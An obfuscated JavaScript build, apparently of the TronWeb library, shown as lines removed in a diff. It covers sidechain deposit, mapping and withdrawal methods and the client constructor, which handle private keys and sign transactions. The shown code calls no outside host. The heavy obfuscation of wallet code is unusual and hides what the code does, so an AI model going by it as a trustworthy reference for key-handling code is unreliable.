- value: (_0x9f2072 = _0x203d83(_0x307918().mark(function _0xe86b90(_0x4053cf, _0x4a9b33, _0x4d201e, _0x589e8e) {
- var _0x2c41d7;
- var _0x1e6ec4;
- var _0x2bb719;
- var _0x5cbabd;
- var _0x450999;
- var _0x4df0b8 = arguments;
- return _0x307918().wrap(function (_0x27ca76) {
- for (;;) {
- switch (_0x27ca76.prev = _0x27ca76.next) {
- case 0:
- if (_0x2c41d7 = _0x4df0b8.length > 4 && undefined !== _0x4df0b8[4] ? _0x4df0b8[4] : {}, _0x1e6ec4 = _0x4df0b8.length > 5 && undefined !== _0x4df0b8[5] ? _0x4df0b8[5] : this.mainchain.defaultPrivateKey, _0x2bb719 = _0x4df0b8.length > 6 ? _0x4df0b8[6] : undefined, this.utils.isFunction(_0x1e6ec4) && (_0x2bb719 = _0x1e6ec4, _0x1e6ec4 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x2c41d7) && (_0x2bb719 = _0x2c41d7, _0x2c41d7 = {}), _0x2bb719) {
- _0x27ca76.next = 7;
- break;
- }
- return _0x27ca76.abrupt("return", this.injectPromise(this.mappingTrc, _0x4053cf, _0x4a9b33, _0x4d201e, _0x589e8e, _0x2c41d7, _0x1e6ec4));
- case 7:
- if (!this.validator.notValid([{
- name: "trxHash",
- type: "not-empty-string",
- value: _0x4053cf
- }, {
- name: "mappingFee",
- type: "integer",
- value: _0x4a9b33,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x4d201e,
- gte: 0
- }], _0x2bb719)) {
- _0x27ca76.next = 9;
- break;
- }
- return _0x27ca76.abrupt("return");
- case 9:
- _0x4053cf = _0x4053cf.startsWith("0x") ? _0x4053cf : "0x" + _0x4053cf;
- _0x2c41d7 = _0x205809(_0x205809({
- feeLimit: _0x4d201e
- }, _0x2c41d7), {}, {
- callValue: _0x4a9b33
- });
- _0x27ca76.prev = 11;
- _0x27ca76.next = 14;
- return this.mainchain.contract().at(this.mainGatewayAddress);
- case 14:
- if (_0x5cbabd = _0x27ca76.sent, _0x450999 = null, "mappingTRC20" !== _0x589e8e) {
- _0x27ca76.next = 22;
- break;
- }
- _0x27ca76.next = 19;
- return _0x5cbabd.mappingTRC20(_0x4053cf).send(_0x2c41d7, _0x1e6ec4);
- case 19:
- _0x450999 = _0x27ca76.sent;
- _0x27ca76.next = 29;
- break;
- case 22:
- if ("mappingTRC721" !== _0x589e8e) {
- _0x27ca76.next = 28;
- break;
- }
- _0x27ca76.next = 25;
- return _0x5cbabd.mappingTRC721(_0x4053cf).send(_0x2c41d7, _0x1e6ec4);
- case 25:
- _0x450999 = _0x27ca76.sent;
- _0x27ca76.next = 29;
- break;
- case 28:
- _0x2bb719(new Error("type must be trc20 or trc721"));
- case 29:
- _0x2bb719(null, _0x450999);
- _0x27ca76.next = 35;
- break;
- case 32:
- _0x27ca76.prev = 32;
- _0x27ca76.t0 = _0x27ca76.catch(11);
- return _0x27ca76.abrupt("return", _0x2bb719(_0x27ca76.t0));
- case 35:
- case "end":
- return _0x27ca76.stop();
- }
- }
- }, _0xe86b90, this, [[11, 32]]);
- })), function (_0x408475, _0x4d51eb, _0xa7a612, _0x3a1be8) {
- return _0x9f2072.apply(this, arguments);
- })
- }, {
- key: "mappingTrc20",
- value: (_0x22af2f = _0x203d83(_0x307918().mark(function _0x16168d(_0x1d0037, _0x50867f, _0x4b6720) {
- var _0x181464;
- var _0x215a2c;
- var _0x1731ab;
- var _0x3844ff = arguments;
- return _0x307918().wrap(function (_0x5698bf) {
- for (;;) {
- switch (_0x5698bf.prev = _0x5698bf.next) {
- case 0:
- _0x181464 = _0x3844ff.length > 3 && undefined !== _0x3844ff[3] ? _0x3844ff[3] : {};
- _0x215a2c = _0x3844ff.length > 4 && undefined !== _0x3844ff[4] ? _0x3844ff[4] : this.mainchain.defaultPrivateKey;
- _0x1731ab = _0x3844ff.length > 5 && undefined !== _0x3844ff[5] && _0x3844ff[5];
- return _0x5698bf.abrupt("return", this.mappingTrc(_0x1d0037, _0x50867f, _0x4b6720, "mappingTRC20", _0x181464, _0x215a2c, _0x1731ab));
- case 5:
- case "end":
- return _0x5698bf.stop();
- }
- }
- }, _0x16168d, this);
- })), function (_0x284255, _0x1664d7, _0x3626ce) {
- return _0x22af2f.apply(this, arguments);
- })
- }, {
- key: "mappingTrc721",
- value: (_0x269fae = _0x203d83(_0x307918().mark(function _0x4f4102(_0x1aba75, _0x2a8a39, _0x11dea6) {
- var _0x5534d9;
- var _0x47f48e;
- var _0x249ad5;
- var _0x5bd127 = arguments;
- return _0x307918().wrap(function (_0x2d0480) {
- for (;;) {
- switch (_0x2d0480.prev = _0x2d0480.next) {
- case 0:
- _0x5534d9 = _0x5bd127.length > 3 && undefined !== _0x5bd127[3] ? _0x5bd127[3] : {};
- _0x47f48e = _0x5bd127.length > 4 && undefined !== _0x5bd127[4] ? _0x5bd127[4] : this.mainchain.defaultPrivateKey;
- _0x249ad5 = _0x5bd127.length > 5 && undefined !== _0x5bd127[5] && _0x5bd127[5];
- return _0x2d0480.abrupt("return", this.mappingTrc(_0x1aba75, _0x2a8a39, _0x11dea6, "mappingTRC721", _0x5534d9, _0x47f48e, _0x249ad5));
- case 5:
- case "end":
- return _0x2d0480.stop();
- }
- }
- }, _0x4f4102, this);
- })), function (_0x30bdd6, _0x2fa54e, _0x424d90) {
- return _0x269fae.apply(this, arguments);
- })
- }, {
- key: "withdrawTrx",
- value: (_0x4b2aba = _0x203d83(_0x307918().mark(function _0x2f1918(_0x427c88, _0x565e58, _0x5929db) {
- var _0x1f9494;
- var _0x419782;
- var _0x381455;
- var _0xb60f9;
- var _0x5b2951;
- var _0xe71648 = arguments;
- return _0x307918().wrap(function (_0x434cb1) {
- for (;;) {
- switch (_0x434cb1.prev = _0x434cb1.next) {
- case 0:
- if (_0x1f9494 = _0xe71648.length > 3 && undefined !== _0xe71648[3] ? _0xe71648[3] : {}, _0x419782 = _0xe71648.length > 4 && undefined !== _0xe71648[4] ? _0xe71648[4] : this.mainchain.defaultPrivateKey, _0x381455 = _0xe71648.length > 5 && undefined !== _0xe71648[5] && _0xe71648[5], this.utils.isFunction(_0x419782) && (_0x381455 = _0x419782, _0x419782 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x1f9494) && (_0x381455 = _0x1f9494, _0x1f9494 = {}), _0x381455) {
- _0x434cb1.next = 7;
- break;
- }
- return _0x434cb1.abrupt("return", this.injectPromise(this.withdrawTrx, _0x427c88, _0x565e58, _0x5929db, _0x1f9494, _0x419782));
- case 7:
- if (!this.validator.notValid([{
- name: "callValue",
- type: "integer",
- value: _0x427c88,
- gte: 0
- }, {
- name: "withdrawFee",
- type: "integer",
- value: _0x565e58,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x5929db,
- gte: 0
- }], _0x381455)) {
- _0x434cb1.next = 9;
- break;
- }
- return _0x434cb1.abrupt("return");
- case 9:
- _0x1f9494 = _0x205809({
- callValue: Number(_0x427c88) + Number(_0x565e58),
- feeLimit: _0x5929db
- }, _0x1f9494);
- _0x434cb1.prev = 10;
- _0x434cb1.next = 13;
- return this.sidechain.contract().at(this.sideGatewayAddress);
- case 13:
- _0xb60f9 = _0x434cb1.sent;
- _0x434cb1.next = 16;
- return _0xb60f9.withdrawTRX().send(_0x1f9494, _0x419782);
- case 16:
- _0x5b2951 = _0x434cb1.sent;
- return _0x434cb1.abrupt("return", _0x381455(null, _0x5b2951));
- case 20:
- _0x434cb1.prev = 20;
- _0x434cb1.t0 = _0x434cb1.catch(10);
- return _0x434cb1.abrupt("return", _0x381455(_0x434cb1.t0));
- case 23:
- case "end":
- return _0x434cb1.stop();
- }
- }
- }, _0x2f1918, this, [[10, 20]]);
- })), function (_0x4a59ef, _0x4a9e6b, _0x56ae14) {
- return _0x4b2aba.apply(this, arguments);
- })
- }, {
- key: "withdrawTrc10",
- value: (_0x267036 = _0x203d83(_0x307918().mark(function _0x24ac41(_0x44f15d, _0x5cd86d, _0x53d797, _0x13b411) {
- var _0x57b96d;
- var _0x43f727;
- var _0x42a038;
- var _0x44db45;
- var _0x5431bd;
- var _0x328fe9 = arguments;
- return _0x307918().wrap(function (_0x5c55e3) {
- for (;;) {
- switch (_0x5c55e3.prev = _0x5c55e3.next) {
- case 0:
- if (_0x57b96d = _0x328fe9.length > 4 && undefined !== _0x328fe9[4] ? _0x328fe9[4] : {}, _0x43f727 = _0x328fe9.length > 5 && undefined !== _0x328fe9[5] ? _0x328fe9[5] : this.mainchain.defaultPrivateKey, _0x42a038 = _0x328fe9.length > 6 && undefined !== _0x328fe9[6] && _0x328fe9[6], this.utils.isFunction(_0x43f727) && (_0x42a038 = _0x43f727, _0x43f727 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x57b96d) && (_0x42a038 = _0x57b96d, _0x57b96d = {}), _0x42a038) {
- _0x5c55e3.next = 7;
- break;
- }
- return _0x5c55e3.abrupt("return", this.injectPromise(this.withdrawTrc10, _0x44f15d, _0x5cd86d, _0x53d797, _0x13b411, _0x57b96d, _0x43f727));
- case 7:
- if (!this.validator.notValid([{
- name: "tokenId",
- type: "integer",
- value: _0x44f15d,
- gte: 0
- }, {
- name: "tokenValue",
- type: "integer",
- value: _0x5cd86d,
- gte: 0
- }, {
- name: "withdrawFee",
- type: "integer",
- value: _0x53d797,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x13b411,
- gte: 0
- }], _0x42a038)) {
- _0x5c55e3.next = 9;
- break;
- }
- return _0x5c55e3.abrupt("return");
- case 9:
- _0x57b96d = _0x205809({
- tokenValue: _0x5cd86d,
- tokenId: _0x44f15d,
- callValue: _0x53d797,
- feeLimit: _0x13b411
- }, _0x57b96d);
- _0x5c55e3.prev = 10;
- _0x5c55e3.next = 13;
- return this.sidechain.contract().at(this.sideGatewayAddress);
- case 13:
- _0x44db45 = _0x5c55e3.sent;
- _0x5c55e3.next = 16;
- return _0x44db45.withdrawTRC10(_0x44f15d, _0x5cd86d).send(_0x57b96d, _0x43f727);
- case 16:
- _0x5431bd = _0x5c55e3.sent;
- return _0x5c55e3.abrupt("return", _0x42a038(null, _0x5431bd));
- case 20:
- _0x5c55e3.prev = 20;
- _0x5c55e3.t0 = _0x5c55e3.catch(10);
- return _0x5c55e3.abrupt("return", _0x42a038(_0x5c55e3.t0));
- case 23:
- case "end":
- return _0x5c55e3.stop();
- }
- }
- }, _0x24ac41, this, [[10, 20]]);
- })), function (_0x5c6c56, _0x48020b, _0x5ceb71, _0x4237e6) {
- return _0x267036.apply(this, arguments);
- })
- }, {
- key: "withdrawTrc",
- value: (_0x3da021 = _0x203d83(_0x307918().mark(function _0x446b0c(_0x3edb03, _0x404867, _0x5a845b, _0x2aa3fa, _0x29793f) {
- var _0x5a77f8;
- var _0x17e44f;
- var _0x5295c6;
- var _0x5cf74e;
- var _0xb859d6;
- var _0x38f326;
- var _0x3461cc;
- var _0x193238;
- var _0x3cd273;
- var _0x79d36e;
- var _0x1cc600 = this;
- var _0x20a54b = arguments;
- return _0x307918().wrap(function (_0xd54214) {
- for (;;) {
- switch (_0xd54214.prev = _0xd54214.next) {
- case 0:
- if (_0x5a77f8 = _0x20a54b.length > 5 && undefined !== _0x20a54b[5] ? _0x20a54b[5] : {}, _0x17e44f = _0x20a54b.length > 6 && undefined !== _0x20a54b[6] ? _0x20a54b[6] : this.mainchain.defaultPrivateKey, _0x5295c6 = _0x20a54b.length > 7 && undefined !== _0x20a54b[7] && _0x20a54b[7], this.utils.isFunction(_0x17e44f) && (_0x5295c6 = _0x17e44f, _0x17e44f = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x5a77f8) && (_0x5295c6 = _0x5a77f8, _0x5a77f8 = {}), _0x5295c6) {
- _0xd54214.next = 7;
- break;
- }
- return _0xd54214.abrupt("return", this.injectPromise(this.withdrawTrc, _0x3edb03, _0x404867, _0x5a845b, _0x2aa3fa, _0x29793f, _0x5a77f8, _0x17e44f));
- case 7:
- if (!this.validator.notValid([{
- name: "functionSelector",
- type: "not-empty-string",
- value: _0x3edb03
- }, {
- name: "numOrId",
- type: "integer",
- value: _0x404867,
- gte: 0
- }, {
- name: "withdrawFee",
- type: "integer",
- value: _0x5a845b,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x2aa3fa,
- gte: 0
- }, {
- name: "contractAddress",
- type: "address",
- value: _0x29793f
- }], _0x5295c6)) {
- _0xd54214.next = 9;
- break;
- }
- return _0xd54214.abrupt("return");
- case 9:
- _0x5a77f8 = _0x205809(_0x205809({
- feeLimit: _0x2aa3fa
- }, _0x5a77f8), {}, {
- callValue: _0x5a845b
- });
- _0x5cf74e = [{
- type: "uint256",
- value: _0x404867
- }];
- _0xd54214.prev = 11;
- _0xb859d6 = _0x17e44f ? this.sidechain.address.fromPrivateKey(_0x17e44f) : this.sidechain.defaultAddress.base58;
- _0xd54214.next = 15;
- return this.sidechain.transactionBuilder.triggerSmartContract(_0x29793f, _0x3edb03, _0x5a77f8, _0x5cf74e, this.sidechain.address.toHex(_0xb859d6));
- case 15:
- if ((_0x38f326 = _0xd54214.sent).result && _0x38f326.result.result) {
- _0xd54214.next = 18;
- break;
- }
- return _0xd54214.abrupt("return", _0x5295c6("Unknown error: " + JSON.stringify(_0x38f326.transaction, null, 2)));
- case 18:
- _0xd54214.next = 20;
- return this.sidechain.trx.sign(_0x38f326.transaction, _0x17e44f);
- case 20:
- if ((_0x3461cc = _0xd54214.sent).signature) {
- _0xd54214.next = 25;
- break;
- }
- if (_0x17e44f) {
- _0xd54214.next = 24;
- break;
- }
- return _0xd54214.abrupt("return", _0x5295c6("Transaction was not signed properly"));
- case 24:
- return _0xd54214.abrupt("return", _0x5295c6("Invalid private key provided"));
- case 25:
- _0xd54214.next = 27;
- return this.sidechain.trx.sendRawTransaction(_0x3461cc);
- case 27:
- if (!(_0x193238 = _0xd54214.sent).code) {
- _0xd54214.next = 32;
- break;
- }
- _0x3cd273 = {
- error: _0x193238.code,
- message: _0x193238.code
- };
- _0x193238.message && (_0x3cd273.message = this.sidechain.toUtf8(_0x193238.message));
- return _0xd54214.abrupt("return", _0x5295c6(_0x3cd273));
- case 32:
- if (_0x5a77f8.shouldPollResponse) {
- _0xd54214.next = 34;
- break;
- }
- return _0xd54214.abrupt("return", _0x5295c6(null, _0x3461cc.txID));
- case 34:
- _0x79d36e = function () {
- var _0x428bfe = _0x203d83(_0x307918().mark(function _0x186f37() {
- var _0x5acb8f;
- var _0x1ae6f7;
- var _0x50479c;
- var _0x155ce6 = arguments;
- return _0x307918().wrap(function (_0x5ad190) {
- for (;;) {
- switch (_0x5ad190.prev = _0x5ad190.next) {
- case 0:
- if (20 != (_0x5acb8f = _0x155ce6.length > 0 && undefined !== _0x155ce6[0] ? _0x155ce6[0] : 0)) {
- _0x5ad190.next = 3;
- break;
- }
- return _0x5ad190.abrupt("return", _0x5295c6({
- error: "Cannot find result in solidity node",
- transaction: _0x3461cc
- }));
- case 3:
- _0x5ad190.next = 5;
- return _0x1cc600.sidechain.trx.getTransactionInfo(_0x3461cc.txID);
- case 5:
- if (_0x1ae6f7 = _0x5ad190.sent, Object.keys(_0x1ae6f7).length) {
- _0x5ad190.next = 8;
- break;
- }
- return _0x5ad190.abrupt("return", setTimeout(function () {
- _0x79d36e(_0x5acb8f + 1);
- }, 3000));
- case 8:
- if (!_0x1ae6f7.result || "FAILED" != _0x1ae6f7.result) {
- _0x5ad190.next = 10;
- break;
- }
- return _0x5ad190.abrupt("return", _0x5295c6({
- error: _0x1cc600.sidechain.toUtf8(_0x1ae6f7.resMessage),
- transaction: _0x3461cc,
- output: _0x1ae6f7
- }));
- case 10:
- if (_0x1cc600.utils.hasProperty(_0x1ae6f7, "contractResult")) {
- _0x5ad190.next = 12;
- break;
- }
- return _0x5ad190.abrupt("return", _0x5295c6({
- error: "Failed to execute: " + JSON.stringify(_0x1ae6f7, null, 2),
- transaction: _0x3461cc,
- output: _0x1ae6f7
- }));
- case 12:
- if (!_0x5a77f8.rawResponse) {
- _0x5ad190.next = 14;
- break;
- }
- return _0x5ad190.abrupt("return", _0x5295c6(null, _0x1ae6f7));
- case 14:
- 1 === (_0x50479c = decodeOutput(_0x1cc600.outputs, "0x" + _0x1ae6f7.contractResult[0])).length && (_0x50479c = _0x50479c[0]);
- return _0x5ad190.abrupt("return", _0x5295c6(null, _0x50479c));
- case 17:
- case "end":
- return _0x5ad190.stop();
- }
- }
- }, _0x186f37);
- }));
- return function () {
- return _0x428bfe.apply(this, arguments);
- };
- }();
- _0x79d36e();
- _0xd54214.next = 41;
- break;
- case 38:
- _0xd54214.prev = 38;
- _0xd54214.t0 = _0xd54214.catch(11);
- return _0xd54214.abrupt("return", _0x5295c6(_0xd54214.t0));
- case 41:
- case "end":
- return _0xd54214.stop();
- }
- }
- }, _0x446b0c, this, [[11, 38]]);
- })), function (_0x133ead, _0x27bbea, _0x2dd647, _0x31d31b, _0x161d24) {
- return _0x3da021.apply(this, arguments);
- })
- }, {
- key: "withdrawTrc20",
- value: (_0x41ea5d = _0x203d83(_0x307918().mark(function _0x151a05(_0x3019b6, _0x30e163, _0x20cfdf, _0x47a9da, _0x1b466f) {
- var _0x315078;
- var _0x502348;
- var _0x21b477 = arguments;
- return _0x307918().wrap(function (_0x199a20) {
- for (;;) {
- switch (_0x199a20.prev = _0x199a20.next) {
- case 0:
- _0x315078 = _0x21b477.length > 5 && undefined !== _0x21b477[5] ? _0x21b477[5] : this.mainchain.defaultPrivateKey;
- _0x502348 = _0x21b477.length > 6 && undefined !== _0x21b477[6] && _0x21b477[6];
- return _0x199a20.abrupt("return", this.withdrawTrc("withdrawal(uint256)", _0x3019b6, _0x30e163, _0x20cfdf, _0x47a9da, _0x1b466f, _0x315078, _0x502348));
- case 4:
- case "end":
- return _0x199a20.stop();
- }
- }
- }, _0x151a05, this);
- })), function (_0xa11af0, _0x4406cb, _0x156a59, _0x26e372, _0x4a244b) {
- return _0x41ea5d.apply(this, arguments);
- })
- }, {
- key: "withdrawTrc721",
- value: (_0x4c7503 = _0x203d83(_0x307918().mark(function _0x164238(_0x5ea912, _0x3912b9, _0x777371, _0x347a13, _0x4a4636) {
- var _0x42315d;
- var _0x219a96;
- var _0x3f8d78 = arguments;
- return _0x307918().wrap(function (_0x4ecb47) {
- for (;;) {
- switch (_0x4ecb47.prev = _0x4ecb47.next) {
- case 0:
- _0x42315d = _0x3f8d78.length > 5 && undefined !== _0x3f8d78[5] ? _0x3f8d78[5] : this.mainchain.defaultPrivateKey;
- _0x219a96 = _0x3f8d78.length > 6 && undefined !== _0x3f8d78[6] && _0x3f8d78[6];
- return _0x4ecb47.abrupt("return", this.withdrawTrc("withdrawal(uint256)", _0x5ea912, _0x3912b9, _0x777371, _0x347a13, _0x4a4636, _0x42315d, _0x219a96));
- case 4:
- case "end":
- return _0x4ecb47.stop();
- }
- }
- }, _0x164238, this);
- })), function (_0xf0f530, _0x21cb78, _0x16b723, _0x326d17, _0xff52af) {
- return _0x4c7503.apply(this, arguments);
- })
- }, {
- key: "injectFund",
- value: (_0x561b78 = _0x203d83(_0x307918().mark(function _0x3901ac(_0x110302, _0x4fad39, _0x10339f) {
- var _0xc4762;
- var _0x2ded52;
- var _0x17223f;
- var _0x2ab5ba;
- var _0x5d0702;
- var _0xc94b03;
- var _0x14828f;
- var _0x128b2f;
- var _0x2a0fbc = arguments;
- return _0x307918().wrap(function (_0x5d54ff) {
- for (;;) {
- switch (_0x5d54ff.prev = _0x5d54ff.next) {
- case 0:
- if (_0xc4762 = _0x2a0fbc.length > 3 && undefined !== _0x2a0fbc[3] ? _0x2a0fbc[3] : this.mainchain.defaultPrivateKey, _0x2ded52 = _0x2a0fbc.length > 4 && undefined !== _0x2a0fbc[4] && _0x2a0fbc[4], this.utils.isFunction(_0xc4762) && (_0x2ded52 = _0xc4762, _0xc4762 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x10339f) && (_0x2ded52 = _0x10339f, _0x10339f = {}), _0x2ded52) {
- _0x5d54ff.next = 6;
- break;
- }
- return _0x5d54ff.abrupt("return", this.injectPromise(this.injectFund, _0x110302, _0x4fad39, _0x10339f, _0xc4762));
- case 6:
- if (!this.validator.notValid([{
- name: "num",
- type: "integer",
- value: _0x110302,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x4fad39,
- gte: 0
- }], _0x2ded52)) {
- _0x5d54ff.next = 8;
- break;
- }
- return _0x5d54ff.abrupt("return");
- case 8:
- _0x5d54ff.prev = 8;
- _0x17223f = this.sidechain.address.fromPrivateKey(_0xc4762);
- _0x2ab5ba = this.sidechain.address.toHex(_0x17223f);
- _0x5d54ff.next = 13;
- return this.sidechain.fullNode.request("/wallet/fundinject", {
- owner_address: _0x2ab5ba,
- amount: _0x110302
- }, "post");
- case 13:
- _0x5d0702 = _0x5d54ff.sent;
- _0x5d54ff.next = 16;
- return this.sidechain.trx.sign(_0x5d0702, _0xc4762);
- case 16:
- if ((_0xc94b03 = _0x5d54ff.sent).signature) {
- _0x5d54ff.next = 21;
- break;
- }
- if (_0xc4762) {
- _0x5d54ff.next = 20;
- break;
- }
- return _0x5d54ff.abrupt("return", _0x2ded52("Transaction was not signed properly"));
- case 20:
- return _0x5d54ff.abrupt("return", _0x2ded52("Invalid private key provided"));
- case 21:
- _0x5d54ff.next = 23;
- return this.sidechain.trx.sendRawTransaction(_0xc94b03);
- case 23:
- if (!(_0x14828f = _0x5d54ff.sent).code) {
- _0x5d54ff.next = 28;
- break;
- }
- _0x128b2f = {
- error: _0x14828f.code,
- message: _0x14828f.code
- };
- _0x14828f.message && (_0x128b2f.message = this.mainchain.toUtf8(_0x14828f.message));
- return _0x5d54ff.abrupt("return", _0x2ded52(_0x128b2f));
- case 28:
- return _0x5d54ff.abrupt("return", _0x2ded52(null, _0xc94b03.txID));
- case 31:
- _0x5d54ff.prev = 31;
- _0x5d54ff.t0 = _0x5d54ff.catch(8);
- return _0x5d54ff.abrupt("return", _0x2ded52(_0x5d54ff.t0));
- case 34:
- case "end":
- return _0x5d54ff.stop();
- }
- }
- }, _0x3901ac, this, [[8, 31]]);
- })), function (_0x5ec896, _0x45b0d8, _0xc89b3d) {
- return _0x561b78.apply(this, arguments);
- })
- }, {
- key: "retryWithdraw",
- value: (_0x539bb5 = _0x203d83(_0x307918().mark(function _0xe84609(_0x30b3be, _0x1cd2d3, _0x28eee4) {
- var _0x8364a2;
- var _0x3b1eec;
- var _0x593f4d;
- var _0x336b83 = arguments;
- return _0x307918().wrap(function (_0x21bb79) {
- for (;;) {
- switch (_0x21bb79.prev = _0x21bb79.next) {
- case 0:
- _0x8364a2 = _0x336b83.length > 3 && undefined !== _0x336b83[3] ? _0x336b83[3] : {};
- _0x3b1eec = _0x336b83.length > 4 && undefined !== _0x336b83[4] ? _0x336b83[4] : this.sidechain.defaultPrivateKey;
- _0x593f4d = _0x336b83.length > 5 && undefined !== _0x336b83[5] && _0x336b83[5];
- return _0x21bb79.abrupt("return", this.withdrawTrc("retryWithdraw(uint256)", _0x30b3be, _0x1cd2d3, _0x28eee4, this.sideGatewayAddress, _0x8364a2, _0x3b1eec, _0x593f4d));
- case 5:
- case "end":
- return _0x21bb79.stop();
- }
- }
- }, _0xe84609, this);
- })), function (_0x1914c9, _0x319f38, _0x418567) {
- return _0x539bb5.apply(this, arguments);
- })
- }, {
- key: "retryDeposit",
- value: (_0x43355b = _0x203d83(_0x307918().mark(function _0x66d192(_0xda84db, _0x2ae7eb, _0x4fa37a) {
- var _0x3cd4c5;
- var _0x285cca;
- var _0x35cbe3;
- var _0x1a2cd2 = arguments;
- return _0x307918().wrap(function (_0x4d74f7) {
- for (;;) {
- switch (_0x4d74f7.prev = _0x4d74f7.next) {
- case 0:
- _0x3cd4c5 = _0x1a2cd2.length > 3 && undefined !== _0x1a2cd2[3] ? _0x1a2cd2[3] : {};
- _0x285cca = _0x1a2cd2.length > 4 && undefined !== _0x1a2cd2[4] ? _0x1a2cd2[4] : this.mainchain.defaultPrivateKey;
- _0x35cbe3 = _0x1a2cd2.length > 5 && undefined !== _0x1a2cd2[5] && _0x1a2cd2[5];
- return _0x4d74f7.abrupt("return", this.depositTrc("retryDeposit", _0xda84db, _0x2ae7eb, _0x4fa37a, this.mainGatewayAddress, _0x3cd4c5, _0x285cca, _0x35cbe3));
- case 5:
- case "end":
- return _0x4d74f7.stop();
- }
- }
- }, _0x66d192, this);
- })), function (_0x7293e0, _0x4dcbf9, _0x43a42d) {
- return _0x43355b.apply(this, arguments);
- })
- }, {
- key: "retryMapping",
- value: (_0x3de4ed = _0x203d83(_0x307918().mark(function _0x4b9d19(_0x279b27, _0x25627d, _0x2aac0a) {
- var _0x4e83d1;
- var _0x1bca32;
- var _0xa99fcb;
- var _0x1d444c = arguments;
- return _0x307918().wrap(function (_0x336cf3) {
- for (;;) {
- switch (_0x336cf3.prev = _0x336cf3.next) {
- case 0:
- _0x4e83d1 = _0x1d444c.length > 3 && undefined !== _0x1d444c[3] ? _0x1d444c[3] : {};
- _0x1bca32 = _0x1d444c.length > 4 && undefined !== _0x1d444c[4] ? _0x1d444c[4] : this.mainchain.defaultPrivateKey;
- _0xa99fcb = _0x1d444c.length > 5 && undefined !== _0x1d444c[5] && _0x1d444c[5];
- return _0x336cf3.abrupt("return", this.depositTrc("retryMapping", _0x279b27, _0x25627d, _0x2aac0a, this.mainGatewayAddress, _0x4e83d1, _0x1bca32, _0xa99fcb));
- case 5:
- case "end":
- return _0x336cf3.stop();
- }
- }
- }, _0x4b9d19, this);
- })), function (_0x5b065d, _0x54e445, _0x208637) {
- return _0x3de4ed.apply(this, arguments);
- })
- }]);
- return _0x252582;
- }();
- var _0x38406d = "4.7.1";
- var _0xff1f64 = 150000000;
- var _0x2d34c8 = function (_0x493b44) {
- _0x2e6032(_0x4122c8, _0x493b44);
- var _0x346f3d;
- var _0x1d3e90;
- var _0x1519be;
- var _0xdb44b8;
- var _0x56d30d;
- _0xdb44b8 = _0x4122c8;
- _0x56d30d = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x3e6a23) {
- return false;
- }
- }();
- var _0x3baa7a = function () {
- var _0x33e5d8;
- var _0x22bb99 = _0x1cc855(_0xdb44b8);
- if (_0x56d30d) {
- var _0x35c908 = _0x1cc855(this).constructor;
- _0x33e5d8 = Reflect.construct(_0x22bb99, arguments, _0x35c908);
- } else {
- _0x33e5d8 = _0x22bb99.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x33e5d8);
- };
- function _0x4122c8() {
- var _0x109028;
- var _0x32e221;
- var _0x21298b = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x597ab4 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x4f3b09 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- var _0x2fcd39 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- var _0x4922b6 = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- _0x1d998d(this, _0x4122c8);
- _0x109028 = _0x3baa7a.call(this);
- var _0x135fd3 = false;
- var _0x446bd1 = false;
- "object" === _0x4dce66(_0x21298b) && (_0x21298b.fullNode || _0x21298b.fullHost) ? (_0x32e221 = _0x21298b.fullNode || _0x21298b.fullHost, _0x2fcd39 = _0x597ab4, _0x597ab4 = _0x21298b.solidityNode || _0x21298b.fullHost, _0x4f3b09 = _0x21298b.eventServer || _0x21298b.fullHost, _0x135fd3 = _0x21298b.headers || false, _0x446bd1 = _0x21298b.eventHeaders || _0x135fd3, _0x4922b6 = _0x21298b.privateKey) : _0x32e221 = _0x21298b;
- _0x1db97c.isString(_0x32e221) && (_0x32e221 = new _0x2ebe37.HttpProvider(_0x32e221));
- _0x1db97c.isString(_0x597ab4) && (_0x597ab4 = new _0x2ebe37.HttpProvider(_0x597ab4));
- _0x1db97c.isString(_0x4f3b09) && (_0x4f3b09 = new _0x2ebe37.HttpProvider(_0x4f3b09));
- _0x109028.event = new _0x38ef81(_0x3ea587(_0x109028));
- _0x109028.transactionBuilder = new _0x2d40cc(_0x3ea587(_0x109028));
- _0x109028.trx = new _0x36b8bc(_0x3ea587(_0x109028));
- _0x109028.plugin = new _0x6aa8f6(_0x3ea587(_0x109028), _0x21298b);
- _0x109028.utils = _0x1db97c;
- _0x109028.setFullNode(_0x32e221);
- _0x109028.setSolidityNode(_0x597ab4);
- _0x109028.setEventServer(_0x4f3b09);
- _0x109028.providers = _0x2ebe37;
- _0x109028.BigNumber = _0x12bb2f;
- _0x109028.defaultBlock = false;
- _0x109028.defaultPrivateKey = false;
- _0x109028.defaultAddress = {
- hex: false,
- base58: false
- };
- ["sha3", "toHex", "toUtf8", "fromUtf8", "toAscii", "fromAscii", "toDecimal", "fromDecimal", "toSun", "fromSun", "toBigNumber", "isAddress", "createAccount", "address", "version", "createRandom", "fromMnemonic"].forEach(function (_0x209f51) {
- _0x109028[_0x209f51] = _0x4122c8[_0x209f51];
- });
- "object" === _0x4dce66(_0x2fcd39) && (_0x2fcd39.fullNode || _0x2fcd39.fullHost) ? _0x109028.sidechain = new _0x2ce6aa(_0x2fcd39, _0x4122c8, _0x3ea587(_0x109028), _0x4922b6) : _0x4922b6 = _0x4922b6 || _0x2fcd39;
- _0x4922b6 && _0x109028.setPrivateKey(_0x4922b6);
- _0x109028.fullnodeVersion = _0x38406d;
- _0x109028.feeLimit = _0xff1f64;
